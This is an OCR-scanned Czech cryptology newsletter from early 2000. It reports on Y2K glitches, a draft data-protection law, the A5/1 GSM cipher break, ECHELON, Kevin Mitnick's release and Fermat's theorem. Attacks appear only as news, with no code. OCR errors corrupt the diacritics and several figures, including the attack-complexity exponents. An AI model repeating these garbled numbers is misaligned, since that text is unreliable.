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A.Slovo uvodem
Mgr. Pavel Vondruska, NBU

Viézeni kolegové, vazeni Ctenafi,

dovolte mi, abych Vam touto cestou popral v nastavajicim roce 2000 vSe
nejlepsi, hlavné zdravi, aspéchy v praci a splnéni Vasich osobnich pfani a
predsevzeti.

Kryptologicka sekce JCMF (GCUCMP) je otevienou, neziskovou organizaci, ktera
sdruzuje odborniky a zéjemce o oblast teoretické i aplikované kryptologie. V minulych letech
se podilela na uspofadani vyznamnych mezinarodnich akci jako Pragocrypt’96, Eurocrypt’99.
Tésné spolupracuje s mezinarodni organizaci IACR (International Association for Cryptologic
Research). Ptipadné otazky tykajici se ¢lenstvi a planovanych akci Vam rad zodpovi predseda
GCUCMP Dr.Jaroslav Hruby, CSc.. Kontaktovat jej miZete nejlépe na e-mail adrese:
hruby@gcucmp.cz, predmét : GCUCMP.

Tento informacni sesit GCUCMP, Crypto-World je rozesilan na 60 e-mail adres. Byl
zalozen v lonském roce a dosud vysla 4 ¢isla (9/99, 10/99, 11/99, 12/99). Sesit vychazi
jedenkrat mési¢né. Zatim hleda svoji kone¢nou podobu. Je koncipovan jako informacni zdroj.
Neékteré informace jste mohli z tohoto zdroje ziskat jeSté¢ zhavé, ale souCasné musim
konstatovat, Ze mésic mezi jednotlivymi ¢isly je pro nc¢které aktudlni informace pfece jen
dlouha doba a informace ptipravené pro tento sesit se mezitim objevily v béznych (i ¢eskych)
zdrojich.

Vzhledem ke zvySujicimu se zajmu o tento seSit jsem se rozhodl vytvofit jednoduchou
webovskou stranku, na které najdete vSechna dosud vysla ¢isla Crypto-Worldu a to jak v
HTML podobg, tak v podobé¢ piipravené ke stazeni (ptivodni podoba sesitt, ve které byla ¢isla
rozesildna) . Na webovské strance je také ¢ast vénovana seminafi z kryptologie, ktery probiha
ve Skolnim roce 1999/2000 na MFF UK (KSI) pod vedenim Dr. J.Soucka, DrSc. a
Mgr.T.Benese). Mimo informaci o tématech jednotlivych pfedndSek zde budou umisténa
nektera témata v elektronické podobé a dalsi souvisejici informace.

Piedpokldadam, Ze strdnka bude slouzit i k dalSim informacim, které se tykaji
GCUCMP nebo akci, na nichz se GCUCMP nebo jeji ¢lenové podili. Snad se podafi vytvofit
néco jako informacni kalendat o chystanych akcich.

URL této webovské stranky je :

http://www.mujweb.cz/veda/gcucmp

Registrovanym odbératelim seSitu budou dalsi ¢isla rozesilana i naddle na jimi
uvedenou e-mail adresu (prosim hlasit zmény ! e-mail adresy, ptipadné oznamit , ze dalsi
Cisla jiz nechcete dostavat). SesSit bude na web umistén s jistym zpozdénim (cca 14 dni).

Dovolte mi, abych podékoval RNDr. Jitimu Sou¢kovi, DrSc. (MU CSAV), Ing.
Jaroslavu Pinkavovi, CSc. (AEC), Ing. Jitimu Némejcovi, CSc. (GESTO Communications),
ktefi svymi ptispevky a pfipominkami pomohli zvysit iroven sesiti v lofiském roce.

Zavérem bych Vas chtél pozadat o pomoc a spolupréci pfi ptipravé sesitu, predevsim o
zasilani ptispévkl, novinek a ¢lankd a upozornéni na zajimavé akce . SeSit jako kolektivni
dilo bude jist¢ pak o n¢kolik radi kvalitnéjsi a bude mit vyssi informaéni hodnotu.
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B. Zemé vstoupila do roku 19100
Mgr. Pavel Vondruska, NBU

Predpoklddam, Ze jste jako odbornici na bezpecnost IT se zdjmem sledovali, jak se
projevi Y2K problém na pfelomu roku 1999 / 2000. Samoziejmé, Ze opatieni typu "hlidani"
pocitacli na Silvestra Vam piipadala sméSna a projevy nékterych "odbornikd" v televizi a
sd¢lovacich prostfedcich spiSe pfipominaly Sifeni poplasné zpravy a nckteré nabidky jste
chapali jako cisté legitimni pokusy o zvySeni zisku firmy. JenZe cely problém mél (ma) sviyj
realny podklad, ktery se pfece jen mohl projevit a nesmél se tedy zanedbat. Lze dokonce
oc¢ekavat, ze u fady malych firem vlastnici DOSovské aplikace nebo staré databazové aplikace
(pfedevsim rtzna ucetnictvi ) se jesté problém Y2K "necekané" projevi nyni zacatkem ledna
pfi vystavovani napt. ucetnich dokladd. Pravé zastaraly software milize byt pfiinou jesté
mnoha Gsmévnych situaci, které mohou nastat . Velké informacni, komunikacni a vojenské
systémy, atomové elektrarny chyby nezaznamenaly (né&jaka drobnd hlaSeni o problémech
atomovych elektraren v Japonsku snad neméla ptic¢innou souvislost s Y2K).

V patek odpoledne jsem sedél u svého pocitace a na internetu sledoval, zda se objevi
hlaSeni o problémech z oblasti, ke kterym rok 2000 dorazil . Australie nehlasila nic
mimotadného a oslavy se zacaly ptiblizovat Evropé. Kratce po 14.00 hod (naseho ¢asu) jsem
zachytil zpravu, kterd vyzyvala, aby se zdjemci o problém Y2K podivali, kolik hodin je na
Chatham Island (Novy Zéland, jedno z prvnich mist, kde bylo mozné slavit ptichod roku
2000) a provedli to dotazem na Swissinfo Worldtime.

Ptislusnd URL adresa je
http://www.swissinfo.net/cgi/worldtime/clock.pl? Chatham, New=Zealand

Pokud jste na tuto adresu zavitali, mohli jste si s usmévem piecist toto :

Local time Chatham, New Zealand

Current time in Chatham, New Zealand is:
Saturday, January 1, 19100 - 02:31:28

Programator tak jednoduché aplikace, jakou je perlovy skript, ktery umoziioval
stanovit ¢as na libovolném misté svéta, neoSettil aplikaci pro pfechod na novy letopocet a v
této aplikaci po roce 1999 nasledoval rok 19100). Vzpomnél jsem si na sva détska 1éta, kdy
jsem pocital 21,22,23,..,28,29,210 (¢ti dvacet deset).

Vecer (naseho ¢asu) jiz provozovatel SwissInfo program upravil, a tak jsem si mohl jiz
jen precist :
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Local time Chatham, New Zealand

Current time in Chatham, New Zealand is:
Saturday, January 1, 2000 - 09:22:16

Tato chybicka mé naplnila "optimismem", Ze n¢jaky ten problém na internetu s ptechodem
na Y2K jesté najdu, ale hlaSeni z celého svéta znéla "pi‘echod na novy letopocet probéhl bez
probléemi”. Nakonec jsem tedy vypnul pocitac a Sel radéji slavit ten neopakovatelny mysticky
prechod z jednoho roku do druhého (nebo dokonce do dalsiho tisicileti ?). Urcity problém
jsem jest¢ zaznamenal po piilnoci, kdy jsem chtél nékolika zndmym zavolat ze svého mobilu,
ale nemohl jsem se nikam dovolat, pak mi doslo, Ze to neni problém Y2K, ale obycejné
pietiZzeni telefonni sité , asi stejné jako na svatého Valentyna, a protoZe jsem na tento problém
byl pfedem piipraven , diky letacku, ktery jsem nasSel v postovni schrance, mohl jsem jit misto
telefonovani zase slavit.

C.Novy zakon o ochrané osobnich udaji
Mgr. Pavel Vondruska, NBU

Neni tajemstvim, ze novy zdkon o ochrané osobnich idaji je na nejlepsi cesté ke
svému piijeti. Predkladatelem zékona je mistopiedseda vlady Ing. P.Mertlik, CSc. (piesnéji:
zastupcem navrhovatele, nebot’ jde o vladni navrh). Zakon by mél nahradit dnes jiz v mnoha
ohledech nevyhovujici zékon €. 256/92 Sb.. Tento stary zékon je kritizovan zejména pro svou
nekompatibilitu s pozadavky EU.

Novy zakon vypracoval USIS, vlada jej schvalila uz v zafi (svym usnesenim &. 968 z
22.9. 1998) a v Poslanecké snémovné Parlamentu CR tento zakon prosel po¢atkem listopadu
prvnim ctenim.

Az dosud byla u nés problematika ochrany osobnich udajl feSena zdkonem ¢. 256/92
Sb., ktery se zabyval ochranou téchto udaju pfi jejich zpracovani v informacnich systémech.
Tento zédkon byl opravdu vice méné proklamativni, nebot’ pfedpokladal zifizeni samostatného
ufadu, ktery by meél na starosti ochranou osobnich udaji a ktery nikdy nevznikl. Dale
definoval fadu pravidel, ale nedefinoval sankce za jejich poruSeni. Jeho dodrZzovani se pak
stalo opravdu jen véci cti, konec koncti prodej dat z riznych databazi a nasledné zavalovani
domacnosti nabidkami plenek a dalSich pfedméti s kiidélky a bez ktidélek nebylo a nemohlo
byt vlastn¢ ani postihovano.

Novy zakon by mél odpovidat standardiim EU. I on ptfedpokladd vznik samostatného
uradu, jeho predseda a 7 inspektori bude jmenovano piimo Senitem (a ocekava se, ze
personalné a materialné ziejmé vznikne oditépenim ze stavajictho USISu). Novy zakon nejen
upravuje nakladani s osobnimi daty (tidaji) v informacnich systémech jako zakon 256/92 Sb.,
ale zabyva se ochranou osobnich dat bez ohledu na néjakou specifickou formu jejich
zpracovani a nakladani s nimi. Vyznamné je jist¢ také nové pravidlo, Ze osobni udaje lze
zpracovavat pouze se souhlasem fyzickych osob, ke kterym se osobni tidaje vztahuji (kromé
taxativné vymezenych ptipadld - evidence vymezené zdkonem). To zni velice slibné. Jenze
neni vSechno zlato co se tipyti a pravdépodobné neni osobni udaj jako "osobni tida;j".
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Posledni poznamku vysvétlim na jednom z detailti, které byly diskutovany zacatkem
prosince na tiskové konferenci na USIS, které se zi&astnil i mistopiedseda vlady ing. Pavel
Mertlik,CSc. , zastupci USISu a panové doc.Smejkal a doc.Mates (kteti, pokud vim, pod
zédkonem podepsani nejsou a kteti zasvécené odpovidali na dotazy novinait a fakticky zakon
vysvétlovali a hajili).

Nejprve uvedu definici osobniho udaje, ktery poziva ochrany navrhovaného zakona :
...osobnim udajem [je] jakykoliv udaj tykajici se uréené¢ho nebo urcitelného subjektu udajt.
Subjekt idajii se povazuje za uréeny nebo urcitelny, jestlize 1ze na zéklad€ jednoho ¢i vice
osobnich tdaju pfimo ¢i neptimo zjistit jeho identitu.

O osobni Udaj se nejedna, pokud je tfeba ke zjiSténi identity subjektu udajii nepfiméreného
mnozstvi ¢asu, usili ¢i materidlnich prostiedkd. ...

Z diskuse vyplynulo, ze napf. e-mailovad adresa neni osobnim udajem ve smyslu
zakona (toto stanovisko hajil doc.Smejkal), nebot’ ji v obecném piipadé nelze ztotoznit s
ur¢itou osobou. Doc. Mates doplnil, Ze ani listovni adresa neni osobnim udajem ve smyslu
pravé navrhovaného zédkona. Vysvétlil to prikladem domu, ve kterém bydli tfi osoby stejného
jména, napiiklad otec, syn a déd a tedy z adresy nelze ptisluSnou osobu bez dopliujicich
udaji jednoznaéné urcit. Takze na "darkové" balicky s kiidélky , oznameni o milidonovych
vyhrach a nabidky specidlniho zbozi se mliizeme i nadale t€sit. Prave tyto kiiklavé ptipady
vnimané Sirokou vetejnosti jako zneuziti osobnich dat tedy jaksi asi postihnuty opét nebudou.

Jsem zvédav, jak otazka, co je a co neni osobni udaj, bude v praxi posuzovana a tak
pravdépodobné potieba pravnikl a soudnich znalcli asi vyrazné stoupne. Prvni problém v této
oblasti bude fesen v souvislosti s tim, ze " vSechny subjekty, které chtéji zpracovavat osobni
tidaje, to musi oznamit Ufadu pro ochranu osobnich udaji. Ten pak subjekt zaregistruje nebo
mu dokonce zpracovani nepovoli. Vzhledem k tomu, ze kazdy zaméstnavatel eviduje na
personalnim oddéleni osobni data svych zaméstnancti, tak Ofednikiim tohoto ufadu jejich
nekoneénou praci nezavidim. Docela mé zaujala i moZnost, 2¢ Utad pro ochranu osobnich
udajui nékterému podnikateli zakaze tato data evidovat.

Dalsi diskutabilni oblasti budou jisté¢ rozsahlé¢ pravomoci kontrolord, ktefi mohou
vstupovat do objektii ur€enych k podnikani a zde provadét svoji kontrolni ¢innost. V ramci
této Cinnosti mohou napi. pofidit kopie obsahu pamétovych médii nachéazejicich se u
kontrolovaného (§ 37 pism. f) a to bez udani diivodu, mohou také pozadovat zdrojové kody
programu (§ 37 pism. b), a to dokonce nejen po kontrolovaném, ale doslova i "po jinych
osobach" ( zde je omezeni, Ze pozadavek ptedlozit zdrojovy kod musi souviset s pfedmétem
kontroly). Jinymi osobami jsou pravdépodobné mysleni programatofi, kteti prislusné aplikace
pro kontrolovanou organizaci vyvinuli. Jako byvaly programator jsem nevéficné kroutil
hlavou a zacal domyslet n¢které diisledky a nakonec mne rozveselila piedstava, jak kontrolor
zadd firmu Borland o zdrojovy koéd Delphi, nebot' kontrolovand osoba pouzila pro
shromazd’ovani svych dat databazovou aplikaci napsanou v tomto vyvojovém prostiedi.

Nejsem znalec zakonti v EU, ale obavam se, Ze tzv. kompatibilita tohoto zdkona
znamena, ze nd$ zakon je nadmnozinou standardu EU a byl s ¢eskou snahou o zviditelnéni
vylepSen o nékteré "drobné" detaily s dalekosahlymi pravnimi disledky (zasah do Autorského
zékona, mozna i kolize se Zakonem o statnim tajemstvi 148/98 Sb. apod.). Zakon sice malé¢ho
¢eského obcana asi moc neochrani, ale pravnickym firmém slibuje docela dobrou zivnost.

PIné znéni navrhovaného zdkona viz napt.
http://www.usiscr.cz/cz/dokumenty/diskuse/ochrana_vladni.html
http://www.psp.cz/sqw/tiskt.sqw?0=3+CT=374+CT1=0
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D. Soukromi uzivateli GSM ohrozZeno
Mgr. Pavel Vondruska, NBU

Po pfedbézném ozndmeni ze zacatku prosince publikoval A.Shamir a A. Biryukov
devatého prosince ttok, ktery umoziuje v redlném case a s malymi naklady lustit algoritmus
A5/1 ! Profesor Adi Shamir je jiz legendarni kryptolog , jeden z trojice autord, ktera
publikovala pred dvaceti lety RSA algoritmus, vynalezce zatizeni TWINKLE (pfedvedené
poprvé v Praze) a Alex Biryukov je mlady nadéjny matematik, ktery se jako stipendista loni v
kvétnu zacastnil konference EUROCRYPT 99. Algoritmus A5/1 je silnéjsi verze algoritmu,
ktery chrani pfenos hlasové a datové komunikace v GSM telefonech. Tuto verzi pouZziva v
Evropé (véetné CR) vice jak jedno sto miliont uZivateli. Celkem je pouzit v 215 miliénech
GSM telefonech po celém svété, z toho v 5-ti milidnech telefonli v USA. Algoritmus byl
prolomen jiz dfive, ale utok vyzadoval specidlni nakladny hardware a bylo zapotiebi néco
mezi 240 az 2745 krokt. Utok tedy mohla provést jen velka organizace, kterd disponuje
dostatecnym financnim zazemim. V ¢lanku, ktery byl nyni publikovan, je popsan utok, ktery
1ze realizovat na PC s 128 MB RAM a dvéma pevnymi disky o kapacité 73 GB, déle je nutné
zachytit prvé dvé minuty hovoru, popsanou analyzou Ize pak nalézt kli¢ za méné nez 1 vtetinu
! ProtoZze GSM telefony vysilaji frame kazdych 4.6 millisecondy, znamena to, Ze dv€ minuty
konverzace obsahuji 120 * 1000/4.6 , tedy ptiblizn¢ 2”15 framid. Pocet nutnych krokt k
nalezeni kli¢e je pak mezi 2737 az 248 . Utok byl verifikovan na aktualni implementaci
algoritmu AS5/1. Pti téchto udajich je jasné, ze utok muze teoreticky provést hacker, ktery si
svij pocita¢ dostateéné vylepsi diskovou kapacitou a bude schopen naprogramovat algoritmus
uvedeny v publikované zpraveé. Soukromi uzivatelit GSM telefont je tak vazné ohrozeno.

Na zavér pfipomenu, Ze¢ na rump session konference Crypto 99 David Wagner
predvedl tok na slabsi variantu vyse uvedeného algoritmu AS5/2 (tato varianta je urCena pro
GSM telefony ve vychodni Evropé¢). Ukézal, ze vzhledem k velkému poctu pseudo-
nadhodnych bith je k prolomeni této verze potieba jen O(2*16 ) krokl.. Demonstroval tak, Ze
se jedna o velice slabé zabezpeceni této ¢asti komunikace.

Zdroj: Postscript souboru od Adi Shamira: http://cryptome.org/aS.ps (292K; 18 stran)

Pro presnost dodejme, ze GSM pii komunikaci nepouziva pouze algoritmus AS.

Implementovany jsou :

A3 autentiza¢ni algoritmus

AS5/1 "silna verze" komunika¢niho algoritmu

nebo A5/2  "slabd verze" komunika¢niho algoritmu
A8 generace klice pro hlasovou komunikaci

Detaily viz http://www.scard.org/gsm
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E. Letem "Sifrovym svétem"

1.

Eurotel neni jedinym, komu se diky Y2K problémtim podafilo z roku 2000 vyrobit rok
1900. Zcela paradoxné se tak podafilo Microsoftu, ktery musel napravovat chyby v
informacich tykajicich se data uvedeni knih na trh - uvadél totiz, Ze budou uvedeny na trh
v lednu 1900.

(31.12.1999, D.Docekal, www.namodro.cz, rubrika IT-Y2K)

(Dr. P.Tesai’) Problémem s Y2K se na své internetové strance pochlubila i Ceska narodni
banka.V souboru kurs00.txt ve kterém jsou vSechny kurzovni listky dané¢ho roku v
textovém formatu se 3.ledna 2000 (stazeno v 17:15) objevily nasledujici informace:
Datum |1 AUD|1 GBP |1 DKK] 1 EUR [100 JPY.......

19000103|23,363| 57,807| 4,849 |36,100 | 34,950 .......

19000104/23,409| 57,601] 4,842 | 36,035 | 34,957 .......

Pro nezasvécené dodejme, ze 19000103 je 3.ledna 1900 (mélo byt 3.ledna 2000, tedy
20000103).

Tato chyba byla vSak jiz nasledujici den odstranéna.

Celosvétové odhadované ndklady na piipravu vypocetni techniky na ptechod do roku
2000 se odhaduji na 500 miliard USD . Nejnizsi publikovany odhad je 50 miliard USD,
nejvyssi 1 trilion USD. Pokud se vezmou 1 nepiimé naklady, pak nejvys$Si odhady
dosahuji ¢astky 3 triliony USD (zdroj: Newsweek ).

Pied rokem (v lednu 1999) mladéd , teprve 16-ti letd irska studentka Sarah Flannery
publikovala zprdvu o novém Sifrovém algoritmu na principu vetejné¢ho klice, nazvaném
Cayley-Purseriv algoritmus. Uvedeny algoritmus mél byt rychlejsi a lepsi nez RSA nebo
ElGamal. Jeji prace vzbudila zna¢nou pozornost. Problém byl v tom, Ze algoritmus nebyl
zvetejnén. Publikovany byly jen srovnavaci, vykonnostni testy. Celd prace, vcetné
algoritmu byla koncem roku 1999 zvetejnéna , véetné dodatku (ktery také vypracovala
Sarah Flannery) , ve kterém je algoritmus prolomen.

An Investigation of a New Algorithm vs. the RSA http://cryptome.org/flannery-cp.htm

Nékteré uptesiiujici informace o precteni (v naSich novinach se psalo o rozsifrovani) idaji
ze starych magnetickych zaznami - pasek STASI (tzv. SIRA archiv) lze najit na nize
uvedenych webovskych strankach. Soubory nebyly zaSifrovany, $lo spiSe o technicky
problém cteni a rekonstrukce dat ze starych médii. Soubor F-22, ktery byl ptecten,
obsahuje uplny archiv o agentech STASI. Pfecteno bylo 63 035 dat vztahujicich se k
agentim - kryci jména, obdobi kdy agent pracoval (okolo 47 000 agentii od roku 1950).
Podle prvych zprav vyplyva, ze v roce 1989 bylo ¢innych na 15000 agentii. Bezpecnostni
experti uvedli, Ze ptiblizn¢ 1/3 uvedenych agentl nebyla do této doby odhalena.
http://www.spiegel.de/spiegel/vorab/0,1518.56060.00.html
http://www.heise.de/tp/deutsch/inhalt/te/1800/1.html
http://www.snafu.de/~bstu/hva-sira/index.htm

http://cryptome.org/gdr-£22.htm

woewe

kompatibilni s (n¢kterymi verzemi ) PGP.
http://www.nytimes.comy/library/tech/99/11/cyber/articles/19encrypt.html
http://www.gnupg.de/presse.en.html
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7. NSA patentovalo a zvetejnilo technologii zvanou ECHELON. ECHELON systém
umoznujici automatické prohledédvani a tfidéni mnoha komunikacnich zdroji (internet,
telekomunikace) podle zadanych slov, klict a kritérii, ktery NSA pouzila i proti svym
spojenclim v Evropé, neni jisté tieba predstavovat. Patentovanim této technologie se NSA
vlastné oteviené k tomuto systému a k moznostem tohoto systému piihléasilo. (Kontrola 3
miliard spojeni dennég, véetné telefonli, mobilnich telefond, e-maili, satelitnich pienost,
downloadl apod.; n¢které zdroje uvadéji kontrolu az 90% vSech spojeni na internetu).
Patent dostal ¢islo : U.S.Patent 5,937,422.

Patent:
http://www.patents.ibm.com/details?&pn=US05937422
Rozbor:
http://trec.nist.gov/pubs/trec6/papers/nsa-rev.ps
http://trec.nist.gov/pubs/trec7/papers/nsa-rev.pdf
Obecné informace o ECHELONu:
http://cryptome.org/echelon-dk.htm
http://cryptome.org/sigint-dk.htm
http://crytpome.org/echelon-dk2.htm
http://www.echelonwatch.org

http:// www.wired.com/news/print/0,1294,32586,00.html
Vynikajici ¢lanek:

http://mediafilter.org/caqg/cryptogate

8. Pripad, kdy se "neznaly" uzivatel snazil vyuzit "anonymni" e-mail server k odeslani
hrozby teroristického - bombového utoku je popsan na URL adrese :
http://www.zdnet.com/zdtv/cybercrime/news/story/0,3700,2324068.00.html
Atentatnik zaslal svoji hrozbu z e-mail adresy shadowmega@hotmail.com, kde si pro
tento Ucel zalozil anonymni poStovni schranku. Policie kontaktovala Hotmail a pozadala o
spolupraci. Hotmail predal k ptislusSnému datu a ¢asu pouzitou IP adresu vlastnika u
Americane Online. PouZzitim informace AOL policie piesné atentatnika identifikovala a
zatkla jej v jeho byté v Brooklynu. Zavérecna pointa celého piibéhu je, ze potiebné
informace nemusela policie pozadovat od serveru Hotmail, nebot’ tyto informace jsou
dostupné v hlavicce odeslaného e-mailu.

9. Narodni bezpe¢nostni Gifad zpiistupnil na internetu digitalni formu "BEZPECNOSTN{HO
DOTAZNIKU ORGANIZACE" . Organizace, které si vyzvedly disketu s prekladadem
(soubor DOTAZNIK.EXE), si mohou porovnat pomoci hashe (standard MD35, jednoduchy
program pro vypocet je na webovské strance také k dispozici), zda vlastni posledni datovy
formular (soubor FORM.BIN) a pokud ne, mohou si aktualni verzi stdhnout.
Kompatibilita datového formulafe s jiz vyplnénymi daty vSech pfedchozich verzi je
zarucena a organizace nemusi vyplnéna data znovu prepisovat.
http://www.nbu.cz

10.Od 3.1.2000 nabyvéa platnost Zakon ¢. 106/1999 Sb ,0 svobodném piistupu
k informacim". Na obvodnich tUfadech byly vytvofeny informacni kancelaie, kde lze
zdarma nebo za uplatu (pfi vétSi ndrocnosti pii vyhledani dat) pozadovat vefejné
informace dle znéni vySe uvedeného zakona. Pokud Vas zajima napt. plat primatora hl.
mésta Prahy, budete asi zklamani, informacni kancelat Magistratu hlavniho mésta tento
udaj nesd¢luje.
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SeSity GCUCMP budou rozesilany ve formatu PDF

Vzhledem k tomu, Ze od pfistiho ¢isla bude distribuovan sesit GCUCMP ve formatu PDF,
dovoluji si zafadit nasledujici obecnou informaci od jednoho z Ctendii naSeho Casopisu -
Martina Kaldba. Jeho ¢lanek zdivodiuje, pro¢ jsme se rozhodli prave pro tento format.

Na internetu (www.mujweb.cz/veda/gcucmp ) jsou od 25.1.2000 vSechna ulozena
ptedchozi Cisla naseho seSitu jiz zkonvertovana do PDF formatu a je mozné si je odtud v
tomto formatu stdhnout. Pokud nékdo z odbérateli presto dava prednost formatu MS Word
97, staci poslat e-mail na adresu hruby@gcucmp.cz a jako predmét uvést sesit-WORD.

Pro ty, ktefi psali, Ze na www strance ke zméné nedoslo, nebo Ze pii pfenosu je
hlasena chyba, si dovoluji poznamenat, Ze je nutné bud’ smazat cache nebo stisknout z www
prohliZzece tlacitko RELOAD (nebo ekvivalent). Pfi zméné jsem vyménil piislusné soubory a
ponechal jejich ptivodni nazev; pokud z minulé "navstévy" zastal v cachy ulozen stary
soubor, je mu dana pfednost pied stahovanim nového - upraveného z www stranky ....Néavrat
na hlavni stranku je pouze pomoci tlacitka Back nebo Zpét ve vasem prohlizeci. Stranka ptijde
cca od 15.2.2000 najit na www.seznam.cz oddil véda / informatika .

A. Dokumenty ve formatu PDF
Martin Kalab , FEL, CVUT

PDF piedstavuje v soucasné dobé snad nejuniverzalnéjsi format pro pienos a
prezentaci dat. Soubory vytvotfené ve formatu PDF lze prohlizet, upravovat a dal zpracovavat
nezévisle na platformé, spolehlivé pracuje na PC, MAC i UNIX. PDF dokument nepotiebuje
software, ve kterém byl vytvoien, vysledny soubor se piesto zobrazi nebo vytiskne v naprosto
shodném grafickém a typografickém provedeni. PDF soubory mohou uzivatelé prohlizet také
piimo v internetovych prohlizecich.

Silnou strankou PDF formatu je jeho snadna editovatelnost. Na posledni chvili, napf.
pied osvitem, lze opravit chybu v textu nebo meénit barevnost, velikost obrazki a dalsi.
Zneuziti dokumentu zabrani moznost nastaveni hesla.

A ¢im se soubory PDF prohlizeji?

PDF soubory mohou slouzit nejen k pfenosu dat a k archivaci, ale také k ptimému
prohlizeni na monitoru - k tomuto ucelu existuje bezplatny program Adobe Acrobat Reader,
ktery si mizete stahnout naptiklad na adrese
http://www.adobe.com/products/acrobat/readstep.html. PDF format vSak wumi oteviit
napiiklad i Illustrator 7.0, Corel Draw 7.0 a dalsi programy.

Pro¢ je lépe ziskavat dokumenty ve formatu PDF neZ dokumenty vytvorené MS
Wordem?

Prvni nesporna vyhoda PDF oproti Wordu byla jiz zminéna, jedna se o kompatibilitu
mezi v§emi béznymi platformami. Dal§im divodem je stabilita dokumentu, jednou vytvofeny
PDF bude vypadat stejné i po pienosu na jiny pocitac, jist¢ jste se jiz setkali se zdanlive
samovolnym ,,rozhozenim®“ dokumentu vytvofeného ve Wordu. Pro tyto vlastnosti je format
PDF vyuzivan profesionaly na celém svété a pomalu se stava i standardem v osvitové
technice.

Pokud vas ani tyto vyhody neptesvéd¢ily ke ¢teni Crypto-Worldu ve formatu PDF je
tu dalsi vyhoda oproti Wordu. Naprostd absence maker a tudiz i virt, tedy alespon prozatim,
protoze jak bylo zminéno v nékterém z minulych ¢isel, padl jiz mytus pienosu vird v téle
e-mailu.
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B. Kevin Mitnick na svobodé
Mgr. Pavel Vondruska, NBU

Na osobni strance Kevina Mitnicka (www.kevinmitnick.com/home.html ) jsou
umisténa dvé pocitadla, jedno odpocitalo 4 roky 11 mésicti 6 dni 7 hodin 30 minut a druhé se
m¢élo zastavit na nule. Prvé odpocitavalo dobu, kterou stravil za mfizemi a druhé - kolik ¢asu
zbyva do jeho propusténi. Kevin byl propusten v patek 21.1.2000 v 6.30 a.m. (chybicka v
perlovém scriptu zplsobila, Ze se druhé pocitadlo nezastavilo, ale pietocilo se a nyni
odpocitava vlastné¢ dobu, kterd se rovnd 1 rok - doba po kterou je Kevin na svobodg¢).
Nejhledangjsi pocitacovy zlo€inec byl propustén na svobodu po necelych péti letech vézeni.

Materialu je o Kevinovi opravdu dost. Udava se, ze jen dukazni spis ¢ita
neuvéfitelnych 200 milioni stranek. Orientovat se v celém piipadu je docela tézké. Uvedu
aspon zékladni informace. Pocitacového zloCince Kevina Mitnicka, po némz patrala uz
n¢kolik let, zatkla FBI v tnoru 1995. Nebyl to obycejny studentsky pocitacovy hacker ,
zajimal se o technologii telefonti. Jiz jako 15-ti lety se naucil odposlouchavat telefonni
hovory, dostat se do digitalni ustfedny, telefonovat zdarma, fadit hovory. Miloval mobilni
telefon a jeho potencialni moznosti. Mobilni telefon se mu ovSem stal osudnym (viz dale).
Mitnick neovladal dokonale UNIX, a proto se spojil s jistym
izraelskym hackrem - snad studentem nebo mladym védeckym
aspirantem v Izraeli. Identita tohoto spolecnika nebyla nikdy
odhalena. Jeho tajny spolecnik mél znacku jsz a vyznal se v
priniku do UNIXOVYCH serverii (ostatné ochrana téchto
serveri byla jest¢ v plenkach). Spole¢n¢ hackovali systémy
mobilnich spolecnosti Oki, Motorola, Nokia a ziskévali
predevsim zdrojové kdédy. Mitnick sdm byl vynikajici odbornik
na "telefonii", ale jeho silu umocniovala schopnost vyméamit tajné
informace od lidi pomoci telefonu. Casto zavolal na ustfednu a
zde se dozvédél potiebné informace. Byl schopen sestavit ze
stiipktl informaci to, co potfeboval. Kevin udajné umél dokonale
ménit hlas, vystupoval velice presvédCivé a nendpadné. Tti roky se nabourdval, kam se mu
zlibilo. Kradl i ¢isla kreditnich karet, software, citliva data apod. Toto vSe se udalo mezi
cervnem 1992 a tinorem 1995. Kevinliv konec zacal na vanoce 1994, kdy pronikl pomoci
internetu do osobniho pocitace vynikajicimu odbornikovi na pocitaovou bezpecnost Tsutomu
Shimomurovi. Tento odbornik potom pomohl FBI Kevina vystopovat. Pomoci svého telefonu
se Kevin hlasil z mésta Raleigh. Zjistilo se, ze se pfipojuje na uzel Netcomu pomoci
mobilniho telefonu v noci. Agenti FBI sestavili zafizeni , které jim ze zachyceného signalu
mobilniho telefonu dovedlo lokalizovat pozici volajiciho. Kevin (ktery jiz v roce 1989 byl
odsouzen na jeden rok za zneuziti pocitace) byl zaméfen a zadrzen. V té dobé bylo Kevinu
Mitnickovi jiz 33 let.

Kevin Mitnick byl postaven pted soud. Zde celil obvinéni za pokusy o vniknuti nebo
za vniknuti do desitek serverti véetné Netcom, Colorado Supernet, Motorola, Nokia, Fujitsu,
Novell, NEC, Sun Microsystems a University of Southern California. Teoreticky mu hrozilo
vézeni az na 100 rokd. Kevin se nedoznal. Ve svété zacalo cyberpunkové hnuti na jeho
podporu. Desitky internetovych stranek Zzddalo SVOBODU PRO KEVINA. Kevin byl
predstavovan jako hacker, ktery ma byt exemplarné potrestan, aby se potlacila cyberpunkova
svoboda. V bfeznu roku 1999 - po ¢tyfech letech procesu - se Kevin ptiznava (za slib trestu
do 5-ti let).

Kevin Mitnick byl propustén v patek 21.1.2000 v 6.30 hod a.m. ( www.2600.com ) .

(Nezkracené znéni tohoto clanku viz Pavel Vondruska - COMPUTERWORD ¢.6/2000)
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C. Velka Fermatova véta (historické poznamky)
Mgr. Pavel Vondruska, NBU

Dne 23.6.1993 oznamil profesor Andrew Wiles, Ze dok4zal Velkou Fermatovu vétu (v
dikazu byla pozdé¢ji objevena chyba, ktera byla odstranéna v zati 1994 , v roce 1995 byl
dilkaz podroben revizi a uznan platnym ). Vice nezZ 200 stran obtiznych vypoctid svéd¢i o
velikém intelektualnim tsili, které musel Wiles vynalozit. Vyjimecnost Velké Fermatovy véty
spo¢ivd v tom, Ze se jednalo po dlouhou dobu o synonymum pro velice tézky, ne-li
netesitelny problém. Po vice jak tii sta padesat let se marné snazili nejlepsi matematici této
planety najit dikaz véty, kterd zni: neexistuji pfirozena &isla, ktera fesi rovnici x" + y" = 2" ,
kde n je celé Cislo vétsi nez 2 . Fermat zformuloval tlohu nékdy kolem roku 1637, sepsal ji
latinsky a prohlasil, Ze ji umi dokazat. Soucasné vSak dopsal , Ze naSel skute¢né nadherny
dikaz tohoto tvrzeni, ale "okraj je vSak tzky na to, aby se na n¢j dikaz vesel." (... cujus rei
demonstrationem mirabilem sane detexi. Hanc marginis exiguitas non caperet. ). Fermat
zanechal mnoho takovychto "poznamek na okraji". Matematici, ktefi pfisli po ném, je chépali
jako zformulované problémy a v pritbéhu let je vSechny postupné vytesili. AZ na pravé tento
jediny. Proto toto tvrzeni nazvali Fermatovou posledni vétou (Fermat Last Theorem - FLT). V
